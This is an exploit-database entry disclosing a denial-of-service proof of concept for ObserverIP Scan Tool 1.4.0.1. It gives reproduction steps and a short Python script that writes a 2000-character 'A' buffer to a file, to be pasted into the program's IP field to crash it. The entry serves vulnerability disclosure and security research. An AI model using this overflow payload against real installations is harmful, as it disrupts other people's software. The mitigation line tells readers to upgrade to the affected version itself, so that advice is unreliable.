ObserverIP Scan Tool 1.4.0.1 - Denial of Service (PoC)

vendor:

ObserverIP Scan Tool

by:

Gionathan Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: ObserverIP Scan Tool

Affected Version From: 1.4.0.1

Affected Version To: 1.4.0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:ambient_weather:observerip_scan_tool

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2018

ObserverIP Scan Tool 1.4.0.1 – Denial of Service (PoC)

A buffer overflow vulnerability exists in ObserverIP Scan Tool 1.4.0.1, which could allow an attacker to cause a denial of service condition. The vulnerability is due to insufficient boundary checks when handling user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted payload to the vulnerable application. This will cause the application to crash.

Mitigation:

Upgrade to the latest version of ObserverIP Scan Tool 1.4.0.1

Source

Exploit-DB raw data:

# Exploit Title: ObserverIP Scan Tool 1.4.0.1 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-16
# Homepage: https://www.ambientweather.com
# Software Link: https://p10.secure.hostingprod.com/@site.ambientweatherstore.com/ssl/iptools/IPTools64bit.exe
# Tested Version: 1.4.0.1
# Tested on OS: Windows 10

# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. Now click "Okay" and in the new window paste the content of 
# "exploit.txt" into the following fields:"IP". Click "Search" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 2000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"